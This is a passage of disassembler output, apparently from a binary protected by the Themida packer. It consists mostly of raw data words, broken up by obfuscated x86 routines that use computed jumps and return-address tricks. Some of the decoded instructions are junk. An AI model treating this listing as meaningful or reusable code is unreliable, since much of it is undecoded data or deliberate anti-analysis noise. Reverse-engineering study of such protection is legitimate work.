0DCE54524h, 0BE715D6Ch dd 0E016Eh, 7D150000h, 67A3505Bh, 0BE6C82D1h, 45000001h dd 2EE346D2h, 38FC619Eh, 9B10E76Bh, 0EE5AF256h, 0DEC2077Ch dd 0A0C928ACh, 68A95F4Ch, 0F315DE7Ch, 14E8688Ch, 0EDB8197h dd 0B5646F9Eh, 333337h, 0D2E00000h, 9E2EE346h, 6B38FC76h dd 9CAE106h, 5EF902CBh, 553DBE2Fh, 0B6BBF8B3h, 0CF774B18h dd 0C2079465h, 0E8D71153h, 0FA097942h, 0A037B590h, 68h dd 3146D275h, 94E82F99h, 1DEB1D44h, 0E8279139h, 0D3154494h dd 9E0DEB63h, 8C839575h, 88D2F54h, 0EA198952h, 0B0B12651h dd 3Ch, 0A0C928A8h, 93A56348h, 0E346D240h, 0E863D373h dd 13554494h, 47E7126Bh, 2DDC4C15h, 71B126ECh, 18h, 1036C22h dd 58880000h, 8F6B2D0Fh, 77F77B0h, 44943B9Dh, 0B49F396Bh dd 0AC6Ch, 46D24500h, 2E2A2EE3h, 94E82A9Eh, 5AE02244h dd 652B21B2h, 955EFC8Fh, 89519625h, 5ABC1Bh, 0D2890000h dd 0DB73E346h, 6D29AFFCh, 94E86BDDh, 0F21F6144h, 74BD42DAh dd 0F2FF5F24h, 0F9237382h, 30176Eh, 0FBEC0000h, 0FD8273E3h dd 0A33F7FEBh, 0EA0D61E3h, 155AE0CBh, 96362205h, 44944422h dd 912BE81Ah, 5774110Bh, 0BB2B3816h, 23C6930Ch, 752h, 726C0300h dd 45000000h, 894A6177h, 94E88CF3h, 39728A44h, 0BBF00C78h dd 3DD0C4F6h, 0AC324172h, 322C7D9Fh, 0C9415529h, 4494E85Fh dd 0B5DDFB2Dh, 70E05853h, 9A08129Dh, 0E346D22Bh, 547262BBh dd 35D93902h, 694494DDh, 258665EDh, 78EC5CECh, 50BB6B1Bh dd 0BE3EDC0Eh, 4ED91F0Eh, 0FFFF2D52h, 0CE6C03FFh, 88000002h dd 0FDB6E908h, 73356A87h, 931CB54Fh, 5CDE2FD8h, 4A6177F9h dd 0CEDDFB89h, 0E641DBF4h, 0FEE6672h, 0A7F29AA0h, 553EA1F6h dd 76EEDE13h, 73BD7801h, 7F8EFECBh, 2348CA05h, 5Ah, 6F17FBF0h dd 4494E805h, 4627B1F3h, 1105F13Ch, 94E80F79h, 6C95FD44h dd 0B3637533h dd 0A1BD2C13h, 22AAAE3Eh, 0BD783BB6h, 7B387796h, 0F701433Fh dd 2688738Bh, 2F4BE88h, 0B710BC8h, 16BD7800h, 0CBB2B38h dd 5248CA18h, 0E8h, 0CE2FCE46h, 780CCA3Eh, 4A80C2BDh, 6177A5B0h dd 0D6FB894Ah, 5C7C08C9h, 26B7BE19h, 38724889h, 0B5534172h dd 34309610h, 60AA6ACEh, 0DDFE9682h, 3DE525CEh, 49A9201Bh dd 6B9F39E4h, 44941D32h, 0C9B7F414h, 74896AF4h, 0D444763Bh dd 941BC034h, 4486B844h, 0B4D634D4h, 72663EA0h, 7FA46EDAh dd 1F906EBDh, 2BD761A3h, 0FD19FDF9h, 7FA41B8Dh, 0EDC851BDh dd 0A3A07584h, 0B75BDD1Fh, 5191851Ah, 3E65F8E7h, 0A4FBE676h dd 0CB4D9B6Fh, 0DBC42D55h, 13E41BCEh, 0A7FA877h, 461h dd 0D0B2FDDDh, 7C6649A4h, 0C9B7F408h, 786A4599h, 0C8BAE50Ch dd 0FBE666D8h, 0B1563EA4h, 0FFDC88FAh, 0AA4E36ACh, 494D9F01h dd 8C8D57C1h, 0DD282542h, 5B455A77h, 0E7C423ABh, 8427C151h dd 815AFA1Eh, 81773144h, 509AAB78h, 82D167A3h, 0F0986177h dd 4494E884h, 3B783274h, 4A745CDh, 2CA315CFh, 4A492831h dd 0BE1A7A80h, 203A93EDh, 40713ECFh, 0BCD8408Ah, 161CDCA4h dd 8A6DCB19h, 0D01AF021h, 36705C34h, 23B523C7h, 0A106E4E7h dd 6390D23Eh, 55F5E1F5h, 0BD7933E3h, 0B123A7D9h, 97BD7933h dd 54A66B40h, 800C0E50h, 0BD79331Ah, 4E222FEFh, 3356C24Ah dd 0E426BD79h, 57FC5340h, 25B324ABh, 21BD3E48h, 63A5658Eh dd 0CA7853F3h, 2C5EC74Ch, 0CCADF42Ch, 2CF67C65h, 4E0C289Ch dd 2CDE20B7h, 213B940Eh, 0D07A1206h, 50CD77D0h, 47AA2A0Eh dd 0D95F9B58h, 0F4B755BDh, 0EEA6A8Eh, 8496749Dh, 5660AA08h dd 169576A9h, 53ADACh, 6F840000h, 4494E809h, 714FDA62h dd 61DAEB01h, 7A5F1DD5h, 0BDD93D8Bh, 945FDB4Dh, 696FB144h dd 5FE05468h, 0C1C74494h, 0E5F3BC51h, 0FA126A77h, 0A727CFB1h dd 2C985956h, 0D832DFCCh, 6F8C0812h, 0CBC7E806h, 852E7C33h dd 945F9007h, 0FDC8244h, 198724B7h, 116477AAh, 0BDF6B4F7h dd 7F7734C7h, 0F1CAFF0Fh, 0D9B66D40h, 4F849654h, 1DBA5A3Eh dd 9D28C8Eh, 6F515AB1h, 7F60787h, 9468157Fh, 67A1E344h dd 7BD739D1h, 0B0B4494h, 8F446B83h, 0AF5D9D3Bh, 0F1B12681h dd 0FFFFFF67h, 4A6177A2h, 0CEDDFB89h, 3441DBF4h, 94E82094h dd 24E61844h, 0C2D9EC34h, 4F33F349h, 0EA3DCDC9h, 0A03EA1D4h dd 2BA3B55Eh, 0E218D9C6h, 0E44CB458h, 0F159BD79h, 0E04978E8h dd 230D48CBh, 0C6000000h, 56A748D2h, 1FA78F59h, 3EA1BD38h dd 7D0FC406h, 0BD783B07h, 0BF2F3C22h, 48CA2330h, 0B656h dd 0E3FB2F00h, 79BD21B3h, 0A641315Ah, 0ECEECC05h, 965B50A8h dd 17DCC32Eh, 0B3604BADh, 74E4C721h, 66AB00DCh, 601C8694h dd 4494DB3Fh, 0C6BCEF09h, 40713A9Eh, 7A438D8h, 0C762FCF1h dd 8B2B0F4Fh, 0C236289Dh, 4DE86038h, 3B3EA1ACh, 5FD49123h dd 8C3E5610h, 74BFC916h, 0BCEF0C84h, 6135C3F7h, 4DAC9FE9h dd 0BB3B6DC7h, 8FF1AE53h, 28A1FEE3h, 71006E4Bh, 0DEBACFF8h dd 60000001h, 0C7BB258Ah, 5B077936h, 0CCB82A81h, 6F237D32h dd 0FBB30D92h, 2F70910Bh, 0E5C62151h, 377487FBh, 0ECBF1949h dd 0A820E8F6h, 428C8F3Ch, 77F61F0Ch, 275B455Ah, 6649A4D1h dd 0D2973EA4h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h dd 840410F4h, 0BD783C10h, 0BA24B6E8h, 24B241B1h, 0C2D848CAh dd 0AD000000h, 377493FBh, 149771A1h, 452979DFh, 0DD31571Ah dd 19A1952Dh, 0DEEF9833h, 8619B85Ch, 0AE53BB4Dh, 5DC73Fh dd 0F92B4494h, 0BCE129AFh, 8A44940Dh, 2F633D6Eh, 0E21D2D9h dd 0CD3DB974h, 3EA13D6Ah, 0EB04DE20h, 0F262D651h, 9D5D9615h dd 180B7B9Bh, 82C74DF4h, 0CEA4A062h, 3CBEA48Eh, 32A296C8h dd 6C68D0CFh, 4CC968DCh, 3860B7h, 1269BAEFh, 356B6D3Bh dd 6EFBA44Dh, 710099A7h, 0F656735Ch, 48000000h, 0EFA3FDB2h dd 432F911Eh, 0F4A002A9h, 372B951Ah, 239B059Ah, 67389933h dd 0BDEE0979h, 4F5CAFE3h, 0C4E70171h, 800810DEh, 428C8014h dd 779EE7E4h, 275B455Ah, 0F65EDAD1h, 20829817h, 4A6177B5h dd 0CEDDFB89h, 0E641DBF4h, 72E66672h, 4A4494E8h, 76160218h dd 3EAD34A8h, 0EFE50E50h, 2E815C19h, 0AEFD0F85h, 0C503C505h dd 5A51A7DBh, 179876DEh, 9A11EADAh, 0F389CA50h, 7E39F128h dd 6AC28F2Fh, 1D391D8Eh, 9B073BADh, 0B325A5D8h, 89D89B07h dd 0DF674B57h, 0D89B0775h, 31C70143h, 466583EFh, 9F42D2h dd 13EBD9FAh, 824C579Ch, 61F1E5B9h, 39AB1F80h, 0FD89B07h dd 0AA674497h, 14809A50h, 1DC9B7F4h, 7279139h, 0D315D89Bh dd 0CE2BCD45h, 9B07CA3Eh, 702FD2D8h, 0BBF8B2F4h, 57C1494Dh dd 25D89B07h, 0BF713FE3h, 9E760037h, 3ED9Ch, 40C40000h dd 4C637759h, 0D0DBFD87h, 515AB123h, 0D8D334A0h, 5748A91Bh dd 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h, 5D52AB19h, 886852B4h dd 89000023h, 8952242Ch, 4C281E2h, 83000000h, 148704EAh dd 1C895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 243C895Ch, 4C020EBBh, 4EEB8147h, 4B755131h, 2414F753h dd 57C3815Bh, 54D8132Dh, 81243C8Bh, 4C4h, 0DA895200h, 8B085789h dd 0C4812414h, 4, 57243C8Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 34FF5C24h, 0C4815B24h, 4, 0FBDD1BE9h, 0B189EFFh, 44F25996h dd 0B7EE4346h ; --------------------------------------------------------------------------- loc_5D2D44: ; CODE XREF: Themida_:loc_5D1F02j mov eax, 61869ECh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 33h, 0A0h, 3Fh dd 0DCAD5F03h, 0A42DDB7Eh, 0D8A54F02h, 402FE91Dh, 0A1B5E177h dd 0FA142863h, 9E819h, 0B5B40000h, 0B0DA0A84h, 66EDE810h dd 815ED18Bh, 40CA4AF2h, 0E7C68101h, 5300005Dh, 685ACB8Ah dd 174Ah, 4634D281h, 815F4559h, 3EC6FBD2h, 0F36FF0Bh, 380h dd 63C88000h, 13E95Bh, 0B2300000h, 62A14A4Dh, 0FAB37DD3h dd 0E43609B3h, 0A2F3F6F8h, 0A5F381A5h, 81776973h, 85CAB8EAh dd 27C3810Eh, 8025A22Fh, 0C3813CC0h, 57404E00h, 13E9h dd 624D5A00h, 69237207h, 0F5385CA3h, 0BA4D2208h, 25B2D835h dd 45B91E89h, 8354D476h, 7E803EEh, 59000000h, 6F2262F6h dd 8B0F979Bh, 15h, 10E9h, 0EE04D300h, 9EA873F2h, 8A83EA6Dh dd 0C757B43Eh, 8A4E5AE4h, 850F4FF3h, 0FFFFFF6Dh, 10FE9F8h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 9326F9C3h, 8E212089h, 6BFAB58Dh, 6A0618h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 3A5480C3h, 0F9FB1998h, 4483858Dh, 890F0616h, 1Ah, 14820Fh dd 0FE90000h, 3A000000h, 3A66391Eh, 0FC5D66A2h, 549F3790h dd 0FFF87FFBh, 52B160D0h, 0E860C361h, 6, 975AB879h, 830FAD82h dd 0 dd 61D18B59h, 0FD98C66h, 885h, 8D0F6000h, 0 ; --------------------------------------------------------------------------- popa test cl, 4 jz loc_5D2F17 cmc mov edi, ebx mov ecx, ebx xor al, al loc_5D2EE5: ; CODE XREF: Themida_:005D2EE6j scasb jnz short loc_5D2EE5 sub ecx, edi neg ecx sub edi, ecx mov edx, edi dec ecx mov ebx, ecx jmp short $+2 ; --------------------------------------------------------------------------- db 0CDh, 20h, 3Fh ; --------------------------------------------------------------------------- add [ecx], eax add [ebx], cl ; CODE XREF: Themida_:005D2F15j sal byte ptr [eax+ebx-73h], 70h or al, 8Bh cli mov ecx, ebx loc_5D2F06: ; CODE XREF: Themida_:005D2F0Aj cmpsb jnz short loc_5D2F13 dec ecx jnz short loc_5D2F06 mov eax, 1 jmp short locret_5D2F1C ; --------------------------------------------------------------------------- loc_5D2F13: ; CODE XREF: Themida_:005D2F07j mov eax, [eax] jmp short near ptr loc_5D2EFA+1 ; --------------------------------------------------------------------------- loc_5D2F17: ; CODE XREF: Themida_:005D2ED8j mov eax, 0 locret_5D2F1C: ; CODE XREF: Themida_:005D2F11j iret ; --------------------------------------------------------------------------- push 0 push edi call sub_5D2F28 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2F28 proc near ; CODE XREF: Themida_:005D2F20p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5D2F28 endp ; --------------------------------------------------------------------------- dd 810FF866h, 5, 0D7B70F60h, 2D85C761h, 3F06186Ch, 0E8000101h dd 0Eh, 53812969h, 57846075h, 99AAE817h, 816614F7h, 593D4BD7h dd 81D7B70Fh, 65B0C1h, 0C2B70F00h, 0EE8F62Bh, 12000000h dd 48FE304Ah, 0A13C71Ch, 0D36F01Fh, 0F08166EDh, 8B5F00D8h dd 0FE9311Ch, 53000000h, 0AEA27274h, 75F8B9A9h, 89249F07h dd 0EB81DA93h, 5259DB5Ch, 811AE080h, 0BE0CC1C3h, 0F8BF0F3Eh dd 0EC30F381h, 8B6609A7h, 0C78B53D3h, 0F31048Fh, 8Ah, 81FB8B00h dd 2FD0C1EEh, 0C18B6678h, 0D0BDC681h, 8B66782Fh, 0E8FE81D7h dd 0FFFFF9Ah, 0FFFFA285h, 0BFD080FFh, 60EBh, 17h dup(0) dd 8BE90000h, 0E900000Bh, 0B7Fh, 18752568h, 13C6E906h dd 9E68FFFBh, 0E9061876h, 0FFFB13BCh, 18770168h, 13B2E906h dd 0E16DFFFBh, 0E3735575h, 0D3654B6Bh, 0E2715777h, 0DB6A506Eh dd 0C56A5979h, 9B3B19A8h, 8B2B27B5h, 983612A5h, 8D2D1FB2h dd 0F06A9BC4h, 0B916B621h, 6FBDFE60h, 49DEC4E3h, 0A52F6EFFh dd 0A6362446h, 9310EACh, 44C594B8h, 45075A7Ch, 0CB7DD2F4h dd 4A08587Ah, 78AD7FBh, 47C697B7h, 0A6331726h, 2CBB9FAEh dd 9F311524h, 26B89AABh, 0C61B1928h, 91C4E3C0h, 109DB535h dd 8559FFEh, 9DB50327h, 0DA82B453h, 446B1685h, 0C9DD3E23h dd 4E00520Eh, 748A52Fh, 85877CD6h, 0A1C0450Ah, 0C2902002h dd 4DFD4F73h, 93B7A42Ch, 86AC0B43h, 0AE285D35h, 770A8586h dd 96507716h, 0F0C3860Dh, 9797C50Fh, 0B9963553h, 0C50F4391h dd 8560D046h, 3D0C910Ah, 97C6C819h, 0A85613Bh, 0AB27616Ch dd 0ABB82226h, 8AAB0B6Ah, 0DFDE38ADh, 66A70A84h, 6CBD045Eh dd 735046E0h, 854FFF4Fh, 0C7BDA3DBh, 4767C16Bh, 0A641DE99h dd 4D41h, 0BDA31500h, 0E5BFE8C7h, 0B39537B4h, 0C229B33Dh dd 9DB53793h, 0F1477010h, 0C4513FBh, 0BC902185h, 7646CADh dd 0F63995C8h, 372109Dh, 109DF587h, 1F7ECD50h, 68C2E47Eh dd 45E16DBDh, 20C4E37Dh, 0E7000000h, 0B53995C8h, 8302109Dh dd 0BDA39F39h, 93C26BC7h, 109DB537h, 0C29BB726h, 0E16DBD68h dd 0A3E37D45h, 7AEBC8BEh, 168EA21Fh, 5606DFE8h, 83FD6FAh dd 29A9D869h, 800A8A86h, 85017453h, 4E0A8A85h, 0F25AEBCFh dd 709A2263h, 3AE3B1DBh, 0B04B5AADh, 0EF000001h, 0DA0BBFA3h dd 109DB580h, 0A0B40149h, 70117091h, 6CDC6F53h, 94067764h dd 4D109DB4h, 7D5A79C8h, 9DB38E08h, 0AE365710h, 933319ACh dd 0E66095B2h, 0AF109DB3h, 0BDFC666Eh, 0DFC3E06Ch, 6CF6FE4Eh dd 0BDA3F650h, 67C16BC7h, 0FD4BE0C2h, 3BA32D6Ch, 0A641DE6Dh dd 39D5h, 0BDA36900h, 93C26BC7h, 109DB537h, 92FA4A70h dd 2A93D175h, 7CCDAC29h, 0F716D31Dh, 0BD68C25Bh, 7D45E16Dh dd 51E0C2E3h, 0E0153203h, 109DB566h, 458FEE2Fh, 391Ah dd 0E0C2B800h, 2D6CFD4Bh, 335197A3h, 0C842B394h, 0FC109DB4h dd 3154E369h, 42133F8Dh, 0C25FF9C3h, 9DB53793h, 1E4F7010h dd 109DB4C4h, 49C0088Dh, 68C26EC8h, 45E16DBDh, 0BFA3E37Dh dd 78C8EAC9h, 0C20A8BDAh, 3B90B295h, 0D644C30Dh, 87109DB4h dd 2F183706h, 0D3020A06h, 109DBC77h, 26F6DD40h, 2628B067h dd 351AB993h, 79755E9Fh, 0E40925Fh, 0D977656Fh, 0FE4CE0C2h dd 0B4A62E6Fh, 500F2B21h, 0C7BDA3F6h, 0BEE4C16Bh, 81DBE56Fh dd 41DE9947h, 4641A6h, 0C2150000h, 0B8004EE0h, 620647Ch dd 1670E5C2h, 0DF109DB5h, 62936BEh, 0EB621D21h, 0F6D8A106h dd 0A0DFE963h, 109E7126h, 0C294AEEFh, 70E5C268h, 109DB516h dd 2436BEDFh, 7DA2BC92h, 43C4E3h, 0C3E70000h, 4C16DE76h dd 0E8C7BDA3h, 51E072C2h, 0C22EA830h, 9DB53793h, 0FE477010h dd 7FDB0A58h, 48109E2Dh, 3E05DEC5h, 190F7C1h, 0DDDC225h dd 0C1C1F316h, 9DBA9721h, 192824B5h, 0BD66F0F8h, 7D45E16Dh dd 0B4C4E3h, 0A36A0000h, 0C8EAC9BFh, 584D573h, 0FB6F9EBBh dd 0B4109DB4h, 5C33B08Bh, 0B0D1CB01h, 7A0C9DA1h, 60A4B678h dd 0BF1F7EB6h, 0E06CBD21h, 0A3F65046h, 0C16BC7BDh, 0DE994767h dd 4C41A641h, 15000000h, 0AF04BDA3h, 9683C899h, 449072F9h dd 3D8F3352h, 0C2D26C0Dh, 1F6EBDE5h, 19A3C292h, 9DB570EAh dd 7AD43910h, 6DBD68C2h, 0AE39621Bh, 0D4B51019h, 0C4E37D7Ah dd 3Eh, 3995C8E7h, 2109DB5h, 55B12483h, 1E109DB5h, 0A36BF5FFh dd 0C26BC7BDh, 9DB53793h, 18B72610h, 0B54CC637h, 2F80109Dh dd 62F11021h, 0C23F9923h, 330250E0h, 6DCD0AD2h, 45E16DBDh dd 6CBDE37Dh, 2D0BDF1Ah, 59385AAAh, 0D771C608h, 0CC80D1F7h dd 26900C7Dh, 9CD6109Eh, 6AE2731Fh, 79D3664Ch, 0B44DE2E8h dd 0B001B14Ah, 0CA1B3F9Ch, 273591C4h, 9FFE109Eh, 0A62E6FFEh dd 157178B8h, 21B199B6h, 0F3FD1C2Dh, 8F143994h, 24830216h dd 18A0AAFEh, 11DA38C9h, 0D5310A8Bh, 0B7783864h, 28E05AACh dd 76000000h, 0C3E06CBDh, 0F3FD4DDFh, 0B4890574h, 0EECB109Dh dd 0B5429CD1h, 0C40B109Dh, 39C4224Ch, 0F0F8999Eh, 0DC6D2596h dd 0BDF85270h, 7251E06Ch, 0F389FD50h, 14DC117Bh, 85C293F2h dd 9E00F650h, 3F5EBF10h, 266089B5h, 25765489h, 0C6471686h dd 3B97C6E9h, 40A8593h, 52E36DBEh, 4C8A5233h, 54F4476Bh dd 3C8405h, 193E9DE9h, 0A422C9E2h, 0C19E2676h, 763BD14Ch dd 0E4250A10h, 55B12484h, 1E047241h, 5DBD8FFh, 3E0E9F03h dd 9B0E39B6h, 1D4271ACh, 932F3398h, 51BE8DE9h, 72D02130h dd 0C9047283h, 3715A88Ah, 0B3DDE726h, 2426F616h, 2D8E5095h dd 0B4000000h, 0EAC9BFA3h, 9DB52F7Bh, 16B5D810h, 0A4E4A034h dd 47845C9Ah, 3C0D3D8Fh, 0FDDDBCDDh, 2FE2h, 0ABDAFD00h dd 109E7E2Fh, 914B95F8h, 0EAC9BFA3h, 9DB52B7Bh, 1AB9DC10h dd 9AABA938h, 3E64717Bh, 0F9359AEAh, 7C855AE3h, 4D9CBE1Dh dd 419FBD07h, 250E0C2h, 80F5D233h, 109DB506h, 5B864ECFh dd 15Eh, 53FD4E74h, 9F398302h, 0E6C5BBA3h, 0FCDB71C4h dd 9DB50D89h, 2DB7D610h, 0BDF650B3h, 0C146E06Ch, 0DE994767h dd 5541A641h, 15000000h, 69C5BBA3h, 93C2E5C2h, 109DB537h dd 0E372DA6Bh, 687095A2h, 9DB4BD19h, 46418610h, 8520D6E7h dd 0C1EC05AAh, 0BD041D24h, 68C282DCh, 83DF6BBDh, 1670E5C2h dd 4F109DB5h, 9DB4C41Eh, 3B088D10h, 0B584C417h, 69AB3554h dd 27C4B7h, 0C3E70000h, 450FD971h, 69C5BBA3h, 14FE0C2h dd 0CA07D130h, 9DB53F9Bh, 93AF2E10h, 6BBD68C2h, 607D83DFh dd 5963E57Ah, 0E06CBDFFh, 0A3F65046h, 7E1401BDh, 0CD9B0D04h dd 99F85CE9h, 0BEE4C1BDh, 7ED8E06Ah, 41DE9947h, 5D41A6h dd 0C2150000h, 6EFF4DE0h, 0E071D76Ch, 0BCF8C0A1h, 0C246E0A4h dd 9DB53793h, 9F477010h, 0CC156151h, 2362FFC9h, 0BAE5C207h dd 903266E6h, 12428FA5h, 0C2EF6973h, 6FFE4CE0h, 22B4A62Eh dd 0B4A3FF6Eh, 89D7109Dh, 5E557AC9h, 37FFB6AFh, 6FCBAACBh dd 32C4E37Dh, 0E7000000h, 8DDC74C3h, 0A31AC40Ch, 0C26BC7BDh dd 4C54BAE5h, 0D0D8FAC0h, 2D1D7908h, 8D0C109Eh, 4EE0C2B1h dd 0BC9BB800h, 38094396h, 0BD450FD9h, 7D45E16Dh, 0DE6ABDE3h dd 0B49FFE8Fh, 0BBD5109Dh, 93F943Eh, 6ABD0FA9h, 8AD901DEh dd 6B6FFEC6h, 19E170D8h, 0D3681AAFh, 4F785575h, 0AA2961D7h dd 59A830AAh, 109E6538h, 7ADC9DB7h, 7D84A341h, 57FFFFFEh dd 30B1170h, 6D770957h, 0B51270F3h, 101109Dh, 42109DB4h dd 0D0DA485Dh, 16DEE2E8h, 9DA31877h, 0DB6D5510h, 0A826656Fh dd 97109DA2h, 109DA337h, 9DA2A826h, 48BEE9D0h, 3B16BC42h dd 0A9C0FCC4h, 0E786C81Ah, 0AE1695C8h, 0E2235687h, 450DDC5h dd 5D0CD435h, 5F7C0A5Fh, 78214B2Eh, 0ACA1E450h, 0B9F8D999h dd 38DAF7B6h, 0E2000003h, 7EA40254h, 9E84222Ch, 4062400Ah dd 5F4161EFh, 0F12482D2h, 0D480CD3Eh, 0CE84D4F6h, 0D375CAF0h dd 0D07CCDF3h, 77E6E9F2h, 16B62A1Bh, 0C291ADE4h, 3793C2E5h dd 109DB5h, 0B572EC9Dh, 0DA3B109Dh, 0DF6DC012h, 4F37328Eh dd 0DA19FD70h, 93F21685h, 4742C033h, 7D640A85h, 0A28DAA09h dd 7E5D48BFh dd 5844C7Dh, 106D7CADh, 0EAD0EF2Eh, 0FC8A2F57h, 0BE3CF7Eh dd 10624D6Ah, 0AD100CEBh, 8FBC47F8h, 0ED20E528h, 0EFD8F5E3h dd 0F6E66532h, 0F6D8E076h, 0E8CAE963h, 2A6BFA58h, 5CB243A2h dd 6E046D1Bh, 93B41373h, 6D1AE862h, 646CB104h, 3F0C0677h dd 5D450A55h, 3690C5CFh, 0FFFE54ADh, 716EFF9Eh, 54ACA2FCh dd 4B2A6BFEh, 2A1E481h, 0AFBE8C20h, 5179666Eh, 183C8900h dd 9A9C849h, 80DA0B2Ch, 49FE54ADh, 87DAFCC4h, 313874C5h dd 0CE517655h, 43E93E9Eh, 8FFEDBE5h, 43C768Fh, 0F658EAD0h dd 4D1C81EEh, 9FCEFAEFh, 0F83BE543h, 0CBE8890Ch, 240A689Ah dd 1FBCE1FEh, 5A2AA3Bh, 7857B322h, 0FD20F223h, 0FDC78BD9h dd 0E468F9DFh, 71A62455h, 0C3E7F223h, 73EF1E74h, 3CF2235Eh dd 68A9B8D9h, 0B60D5460h, 0FD1C2D27h, 0CCCE3F9Ch, 0A5F80B83h dd 8ED3D160h, 9BAAA635h, 1B2A2AB7h, 0DDFA9BFAh, 0C987D8FAh dd 0F55180FFh, 382F1FBh, 7CB3454Eh, 0C29F4E5Bh, 1BFh, 67470F5Bh dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh, 0B62B0E88h dd 0A0C2D716h, 0EBC8BEA3h, 85DA987Ah, 1D2C7116h, 21F7193Eh dd 0FC74DE15h, 0E5A1C8F4h, 8F3E97C6h, 4B6F1076h, 820352FAh dd 0F568AD3Ah, 79F758A4h, 5C3712D9h, 0BE000001h, 0E2C8E670h dd 0FAE0FE50h, 0E4C6E466h, 0FBDDFD53h, 0D5C8E66Eh, 0B0A4315Ah dd 0B2A03012h, 0AF992E14h, 0B498290Fh, 0D3024D16h, 16B62C77h dd 0A375E940h, 99B505BEh, 66F7DBF8h, 0AE3657E6h, 3CB18EB1h dd 109DB4E2h, 23626AABh, 1685D927h, 2C0EADF0h, 0BC2BB59Bh dd 0A505479Ah, 2E859F88h, 3607499Ah, 6213F0D7h, 7ECF01CBh dd 28417FCEh, 0EFF16DA0h, 5BBA0A84h, 869E977h, 143487ABh dd 7BD70645h, 440A84F0h, 3B18A0C1h, 6D1574CAh, 7ECDF510h dd 0BF8EBE0Fh, 0EF2E3F5Eh, 2B0F308Eh, 65A4B59Dh, 65E9795Bh dd 0EE426845h, 0EE42945Ch, 7E617E5Ch, 6C82930Fh, 0AF395C04h dd 64420E9Dh, 7FCF5F43h, 0BBD66375h, 0F0112028h, 0E0153291h dd 46C8366h, 0F8E6EE2Fh, 4FCFF8D7h, 28E9C134h, 0AD32ACDDh dd 9AFB046Ch, 0A3B10052h, 0AD002203h, 0B503559Fh, 0C81B3D9Dh dd 61A6CBDh, 0EE9312D3h, 86075637h, 50E1C7E7h, 6CFCDEFCh dd 4EE1C9E6h, 0A22A6BFAh, 41B493B4h, 46C12C5h, 57FD4C8Eh dd 5792AE36h, 90AF902Fh, 6C13015Dh, 674BCA04h, 13727ADAh dd 0A5437DBh, 2628395Ch, 351AB993h, 0BBD9E743h, 2EBB1F09h dd 0EEF61726h, 0DD1F0h, 7B6D0000h, 920C815Eh, 5B109DB4h dd 0BD28B23Ah, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp push 1A5Ah mov [esp], ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push eax push ebx mov ebx, 6186DB0h mov eax, ebx pop ebx mov ebp, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebx mov ebx, 8 add ebx, edx mov [ebx], ebp mov ebx, [esp] add esp, 4 mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 0A4h, 3Bh, 51h ; --------------------------------------------------------------------------- mov ds:0EC1D594Bh, al mov edx, 0EE40E43Eh mov dh, 0B8h cmp byte ptr [eax+18h], 6 add eax, ebp mov eax, ebx lea ecx, [ebp+61879D0h] push 0 push eax call sub_5D3BF5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3BF5 proc near ; CODE XREF: Themida_:005D3BEDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5D3BF5 endp ; --------------------------------------------------------------------------- ror byte ptr [ecx+edx*2+571B589h], cl adc eax, [esi] pop eax mov [ebp+61320A1h], edi mov [ebp+6131BBDh], ecx mov esi, 34027CCFh mov dword ptr [ebp+61318DDh], 5DF4h or esi, [ebp+61331B1h] and eax, 580D9816h mov dword ptr [ebp+6133055h], 0 mov dx, 0AC36h push dword ptr [ebp+6131A95h] push 0 push eax call sub_5D3C55 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3C55 proc near ; CODE XREF: Themida_:005D3C4Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5D3C55 endp ; --------------------------------------------------------------------------- db 83h, 9Dh, 0AFh dd 15810F64h, 0E9000000h, 10h, 4711A1h, 1319C043h, 41E8D414h dd 9565247Bh, 1D8995FFh, 0B70F0613h, 71B58BF8h, 6A061322h dd 0A995FF00h, 8B06130Dh, 0FE49EBC0h, 0C7707840h, 0C680FB67h dd 0E4009226h, 6B0A9712h, 8FE45B7Dh, 0EBC6CF1h, 858DA7E1h dd 57BC6330h, 4003671Fh, 91D65B17h, 213C4ED8h, 24D7A52h dd 0B816666Dh, 50D833D1h, 5FFE31EBh, 1F2BB3BCh, 0C48786EBh dd 0CD53D9F7h, 7AD08D8Dh, 0BF0F0618h, 0BD8D89FBh, 8B06131Bh dd 130B759Dh, 0DD85C706h, 7C061318h, 6A00006Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 7298C355h, 9D892EDEh, 6133531h, 0C1F4BE66h, 305585C7h dd 613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 38574FC3h, 3B5112A6h, 9B5FF0Ch dd 53061323h, 68D0Fh, 0DE810000h, 45DC8F83h, 8995FF58h dd 6A06131Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 6A52C350h, 0A995FF00h, 8B06130Dh dd 